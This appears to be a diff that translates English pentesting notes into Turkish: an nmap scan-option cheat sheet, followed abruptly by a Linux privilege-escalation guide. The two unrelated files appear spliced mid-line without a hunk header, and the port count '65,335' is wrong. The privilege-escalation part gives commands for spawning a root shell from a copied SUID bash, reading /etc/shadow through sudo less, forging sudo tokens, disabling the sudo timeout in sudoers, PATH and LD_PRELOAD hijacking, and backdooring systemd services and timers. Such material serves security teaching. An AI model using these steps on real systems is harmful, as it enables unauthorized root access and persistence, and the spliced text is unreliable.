`**: SYN paketleri gönderir, eğer SYN/ACK ile yanıt verirse açıktır (bağlantıyı sonlandırmamak için RST ile yanıt verir), eğer RST ile yanıt verirse kapalıdır ve eğer yanıt vermezse ulaşılamazdır. Yetkiler yoksa, otomatik olarak toplam bir bağlantı kullanılır. Hiç port verilmezse, 80'e gönderir. +- **`-PA `**: Öncekine benzer ama ACK ile, ikisini birleştirmek daha iyi sonuçlar verir. +- **`-PU `**: Amaç tam tersidir, kapalı olması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Kapalıysa port ulaşılamaz ile yanıtlanır, başka bir icmp ile yanıtlanırsa veya yanıt verilmezse hedef ulaşılamaz olarak bırakılır. +- **`-PE, -PP, -PM`** : ICMP PING'leri: echo replay, timestamp ve adres maskesi. Hedefin aktif olup olmadığını öğrenmek için gönderilir. +- **`-PY`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP ulaşılamaz (aktif değil) ile yanıtlanabilir. +- **`-PO `**: Başlıklarda bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, diğerleri için yalnızca IP başlığı gönderilir. Bunun amacı, başlıkların bozulması nedeniyle, Protokol ulaşılamaz veya aynı protokolden yanıtlar alarak aktif olup olmadığını bilmektir. +- **`-n`**: DNS yok +- **`-R`**: Her zaman DNS -### Port scanning techniques +### Port tarama teknikleri -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: Bağlantıyı tamamlamaz, bu nedenle iz bırakmaz, kullanılması çok iyi. (yetkiler) Varsayılan olarak kullanılır. +- **`-sT`**: Bağlantıyı tamamlar, bu nedenle iz bırakır, ancak kesinlikle kullanılabilir. Varsayılan olarak yetkisizdir. +- **`-sU`**: Daha yavaş, UDP için. Genellikle: DNS(53), SNMP(161,162), DHCP(67 ve 68), (-sU53,161,162,67,68): açık (yanıt), kapalı (port ulaşılamaz), filtrelenmiş (başka bir ICMP), açık/filtrelenmiş (hiçbir şey). Açık/filtrelenmiş durumunda, -sV nmap'in desteklediği herhangi bir versiyonu tespit etmek için çok sayıda istek gönderir ve gerçek durumu tespit edebilir. Zamanı çok artırır. +- **`-sY`**: SCTP protokolü bağlantıyı kurmada başarısız olur, bu nedenle günlük kaydı yoktur, -PY gibi çalışır. +- **`-sN,-sX,-sF`:** Null, Fin, Xmas, bazı güvenlik duvarlarını geçebilir ve bilgi çıkarabilir. Standart uyumlu makinelerin SYN, RST veya ACK gecikmeleri olmayan tüm isteklere RST ile yanıt vermesi gerektiği esasına dayanır: açık/filtrelenmiş (hiçbir şey), kapalı (RST), filtrelenmiş (ICMP ulaşılamaz). Windows, Cisco, BSDI ve OS/400 üzerinde güvenilir değildir. Unix üzerinde evet. +- **`-sM`**: Maimon taraması: FIN ve ACK bayrakları gönderir, BSD için kullanılır, şu anda hepsini kapalı olarak döndürecektir. +- **`-sA, sW`**: ACK ve Window, güvenlik duvarlarını tespit etmek için kullanılır, portların filtrelenip filtrelenmediğini bilmek için. -sW açık/kapalı arasında ayrım yapar çünkü açık olanlar farklı bir pencere değeri ile yanıt verir: açık (0'dan farklı pencere ile RST), kapalı (RST pencere = 0), filtrelenmiş (ICMP ulaşılamaz veya hiçbir şey). Tüm bilgisayarlar bu şekilde çalışmaz, bu nedenle hepsi kapalıysa çalışmıyor demektir, az sayıda açık varsa iyi çalışıyor demektir, çok sayıda açık ve az sayıda kapalı varsa, tam tersi çalışıyor demektir. +- **`-sI`:** Idle taraması. Aktif bir güvenlik duvarı varsa ama belirli bir IP'ye filtrelemediğini biliyorsak (veya sadece anonimlik istiyorsak) zombi tarayıcıyı kullanabiliriz (tüm portlar için çalışır), olası zombileri aramak için scrpit ipidseq veya exploit auxiliary/scanner/ip/ipidseq kullanabiliriz. Bu tarayıcı, IP paketlerinin IPID numarasına dayanır. +- **`--badsum`:** Yanlış toplam gönderir, bilgisayarlar paketleri atar, ancak güvenlik duvarları bir şey yanıtlayabilir, güvenlik duvarlarını tespit etmek için kullanılır. +- **`-sZ`:** "Garip" SCTP tarayıcı, cookie echo parçaları ile probeler gönderdiğinde, açık olduğunda atılmalı veya kapalı olduğunda ABORT ile yanıtlanmalıdır. Geçemediği güvenlik duvarlarından geçebilir, kötü olanı ise filtrelenmiş ve açık arasında ayrım yapmamaktadır. +- **`-sO`:** Protokol IP taraması. Bazen protokolün bile ayırt edilemediği kötü ve boş başlıklar gönderir. ICMP ulaşılamaz protokol gelirse kapalıdır, ulaşılamaz port gelirse açıktır, başka bir hata gelirse filtrelenmiştir, hiçbir şey gelmezse açık|filtrelenmiştir. +- **`-b `:** FTPhost--> Başka bir hosttan tarama yapmak için kullanılır, bu, başka bir makinenin ftp'sine bağlanarak ve başka bir makineden taramak istediğiniz portlara dosyalar göndermesini istemekle yapılır, yanıtlarına göre açık olup olmadıklarını bileceğiz. \[\:\@]\\[:\] Neredeyse tüm ftp sunucuları artık bunu yapmanıza izin vermiyor ve bu nedenle pratikte pek bir kullanımı yok. -### **Focus Analysis** +### **Odak Analizi** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** Tarama yapılacak portları belirtmek için kullanılır. Tüm 65,335 portu seçmek için: **-p-** veya **-p all**. Nmap, popülariteye dayalı bir iç sınıflandırma kullanır. Varsayılan olarak, en üst 1000 portu kullanır. **-F** (hızlı tarama) ile en üst 100'ü analiz eder. **--top-ports ** ile o sayıda en üst portu analiz eder (1'den 65,335'e kadar). Portları rastgele sırayla kontrol eder; bunu önlemek için **-r** kullanın. Ayrıca belirli portları seçebiliriz: 20-30,80,443,1024- (sonuncusu 1024'ten itibaren bakmak anlamına gelir). Portları protokollere göre de gruplandırabiliriz: U:53,T:21-25,80,139,S:9. Nmap'in popüler portları içinde bir aralık da seçebiliriz: -p [-1024] nmap-services'de yer alanlardan 1024'e kadar analiz eder. **--port-ratio ** 0 ile 1 arasında bir oran içinde en yaygın portları analiz eder. -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** Versiyon taraması, yoğunluk 0 ile 9 arasında ayarlanabilir, varsayılan 7'dir. -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** Yoğunluğu ayarlarız, böylece daha düşük olduğunda yalnızca en olası probeleri başlatır, ancak hepsini değil. Bu sayede UDP tarama süresini önemli ölçüde kısaltabiliriz. -**-O** OS detection +**-O** OS tespiti -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** Doğru host taraması için en az bir açık port ve bir kapalı port gereklidir. Bu koşul sağlanmazsa ve bunu ayarladıysak, OS tahmini yapmayacaktır (zaman kazandırır). -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** OS tespiti mükemmel değilse, daha fazla çaba göstermesini sağlar. -**Scripts** +**Scriptler** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +Varsayılan scriptleri kullanmak için -sC veya --script=default kullanın. -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln +Mevcut türler: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version ve vuln -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** Tüm mevcut kimlik doğrulama scriptlerini çalıştırır +- **Default:** Temel varsayılan araç scriptlerini çalıştırır +- **Discovery:** Hedef veya kurban hakkında bilgi alır +- **External:** Dış kaynakları kullanmak için script +- **Intrusive:** Kurban veya hedef için saldırgan olarak kabul edilen scriptleri kullanır +- **Malware:** Kötü amaçlı kod veya arka kapılar tarafından açılan bağlantıları kontrol eder +- **Safe:** İnvaziv olmayan scriptleri çalıştırır +- **Vuln:** En bilinen zafiyetleri keşfeder +- **All:** Mevcut tüm NSE uzantı scriptlerini çalıştırır -To search for scripts: +Scriptleri aramak için: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> http- ile başlayanlar** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> Hepsi hariç** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> Her ikisinde veya her ikisinde olanlar** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> Her ikisinde olanlar** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,135 +94,135 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> Scriptin nasıl ilerlediği hakkında bilgi verir --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**Bir script kullanmak için, sadece şunu yazın: nmap --script Script_Name target** --> Script kullanıldığında, hem script hem de tarayıcı çalıştırılacak, bu nedenle tarayıcı seçenekleri de eklenebilir. Sadece güvenli olanları çalıştırmak için **"safe=1"** ekleyebiliriz. -**Time Control** +**Zaman Kontrolü** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmap, zamanı saniye, dakika, ms cinsinden değiştirebilir:** --host-timeout argümanları 900000ms, 900, 900s ve 15m hepsi aynı şeyi yapar. -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Nmap, taranacak toplam host sayısını gruplara ayırır ve bu grupları bloklar halinde analiz eder, bu nedenle tümü analiz edilmeden bir sonraki bloğa geçmez (ve kullanıcı, blok analiz edilene kadar herhangi bir güncelleme almaz). Bu şekilde, Nmap'in büyük gruplar kullanması daha optimaldir. Varsayılan olarak sınıf C'de 256 kullanır. -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +Bu, **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ ile değiştirilebilir (paralel tarama grup boyutlarını ayarlamak için). -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +Paralel tarayıcı sayısını kontrol edebilirsiniz ama bunu yapmamak daha iyidir (Nmap zaten ağ durumuna dayalı otomatik kontrol içerir): **--min-parallelism** _****_**;** **--max-parallelism** _****_ -We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**
#Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini** kullanıyorsa, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i hizmet eden başka birine symlink klasörü oluşturmak** faydalı olabilir. +Eğer root tarafından yürütülen script, **tam erişiminizin olduğu bir dizin kullanıyorsa**, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i hizmet eden başka birine symlink klasörü oluşturmak** faydalı olabilir. ```bash ln -d -s
``` @@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Görünmez cron işleri -Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir taşıyıcı dönüş koyarak** oluşturmak mümkündür ve cron işi çalışacaktır. Örnek (taşıyıcı dönüş karakterine dikkat edin): +Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir satır sonu ekleyerek** oluşturmak mümkündür ve cron işi çalışacaktır. Örnek (satır sonu karakterine dikkat edin): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -380,32 +380,32 @@ Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir taşıy ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, bunu **değiştirerek** hizmet başlatıldığında, yeniden başlatıldığında veya durdurulduğunda **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ +Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, onu **değiştirip** hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde **ayarlayabilirsiniz** (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\ Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun. ### Yazılabilir hizmet ikili dosyaları -Hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz varsa**, bunları arka kapılarla değiştirebileceğinizi unutmayın, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. +Eğer hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır. ### systemd PATH - Göreli Yollar -**systemd** tarafından kullanılan PATH'i şu şekilde görebilirsiniz: +**systemd** tarafından kullanılan PATH'i görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasöründe **yazma** yetkiniz olduğunu bulursanız, **yetkileri yükseltebilirsiniz**. **Hizmet yapılandırma** dosyalarında kullanılan **göreli yolları** aramanız gerekiyor, örneğin: +Eğer yolun herhangi bir klasöründe **yazma** yetkiniz olduğunu bulursanız, **yetkileri artırma** şansınız olabilir. **Hizmet yapılandırma** dosyalarında kullanılan **göreli yolları** aramanız gerekiyor, örneğin: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmetten savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin). +Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin). **Hizmetler hakkında daha fazla bilgi edinin: `man systemd.service`.** ## **Zamanlayıcılar** -**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilir. +**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilirler. Tüm zamanlayıcıları şu şekilde listeleyebilirsiniz: ```bash @@ -417,14 +417,14 @@ Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu bazı systemd.unit varl ```bash Unit=backdoor.service ``` -Belgede birimin ne olduğunu okuyabilirsiniz: +Belgede, bir Birimin ne olduğunu okuyabilirsiniz: -> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, yalnızca sonek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birimi adı, sonek hariç aynı şekilde adlandırılması önerilir. +> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, sadece son ek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birimi adı, son ek hariç aynı şekilde adlandırılması önerilir. Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: -- **yazılabilir bir ikili dosya** çalıştıran bazı systemd birimlerini bulun (örneğin bir `.service`) -- **göreli bir yolu** çalıştıran bazı systemd birimlerini bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için) +- **yazılabilir bir ikili dosya** çalıştıran bir systemd birimi (örneğin bir `.service`) bulun +- **göreli bir yolu** çalıştıran bir systemd birimi bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için) **Zamanlayıcılar hakkında daha fazla bilgi edinin `man systemd.timer`.** @@ -439,7 +439,7 @@ Not edin ki **zamanlayıcı**, `/etc/systemd/system/.wants/ @@ -579,7 +579,7 @@ Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uy ``` -**D-Bus iletişimini nasıl sayacağınızı ve istismar edeceğinizi burada öğrenin:** +**D-Bus iletişimini nasıl sayılacağını ve istismar edileceğini burada öğrenin:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -658,7 +658,7 @@ Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıklar ### Gruplar -Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** kontrol edin: +Sana root ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığını kontrol et**: {{#ref}} interesting-groups-linux-pe/ @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Panoya -Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin. +Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol et. ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -683,7 +683,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen şifreler -Eğer **ortamın herhangi bir şifresini biliyorsanız**, şifreyi kullanarak **her bir kullanıcı olarak giriş yapmayı deneyin**. +Eğer **ortamın herhangi bir şifresini biliyorsanız**, şifreyi kullanarak **her kullanıcı olarak giriş yapmayı deneyin**. ### Su Brute @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo yürütme atlama yolları -**Diğer dosyaları okumak için atlayın** veya **sembolik bağlantılar** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Diğer dosyaları okumak** veya **sembolik bağlantılar** kullanmak için atlayın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo komutu/SUID ikili dosyası komut yolu olmadan -Eğer **sudo izni** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ bunu PATH değişkenini değiştirerek istismar edebilirsiniz. +Eğer **sudo izni** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -785,9 +785,9 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar: - Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz. -- suid/sgid olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. +- SUID/SGID'ye sahip yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. -Yetki yükseltmesi, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir. +Yetki yükseltme, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir. ``` Defaults env_keep += LD_PRELOAD ``` @@ -916,7 +916,7 @@ Eğer **sudo erişiminiz** varsa ama şifreniz yoksa, **bir sudo komutunun yür Ayrıcalıkları yükseltmek için gereksinimler: - Zaten "_sampleuser_" kullanıcısı olarak bir shell'e sahipsiniz -- "_sampleuser_" son **15 dakikada** bir şeyi yürütmek için **`sudo` kullanmış** (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir) +- "_sampleuser_" son **15 dakikada** bir şeyi **`sudo` ile** yürütmüş (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 - `gdb` erişilebilir (yükleyebilmeniz gerekir) @@ -924,7 +924,7 @@ Ayrıcalıkları yükseltmek için gereksinimler: Tüm bu gereksinimler karşılandığında, **şu şekilde ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **ilk istismar** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın): +- **ilk istismar** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` ikili dosyasını oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -942,14 +942,14 @@ sudo su ``` ### /var/run/sudo/ts/\ -Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikilisini kullanabilirsiniz.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını geçersiz kılabiliyorsanız ve PID 1234 olan o kullanıcıyla bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**: +Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcıyla bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\ +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubunun okuyabileceği şekilde ayarlanmıştır**.\ **Eğer** bu dosyayı **okuyabiliyorsanız**, **ilginç bilgiler elde edebilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri yükseltebilirsiniz**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ @@ -969,7 +969,7 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` ikili dosyasına alternatif olarak OpenBSD için `doas` gibi bazı seçenekler vardır, yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. +`sudo` ikili dosyasına alternatif olarak OpenBSD için `doas` gibi bazı alternatifler vardır, yapılandırmasını `/etc/doas.conf` dosyasında kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` @@ -1002,7 +1002,7 @@ Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldi Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.** -Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, ayrıcalıkları artırma yeteneğine sahip olabilir.\ +Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir 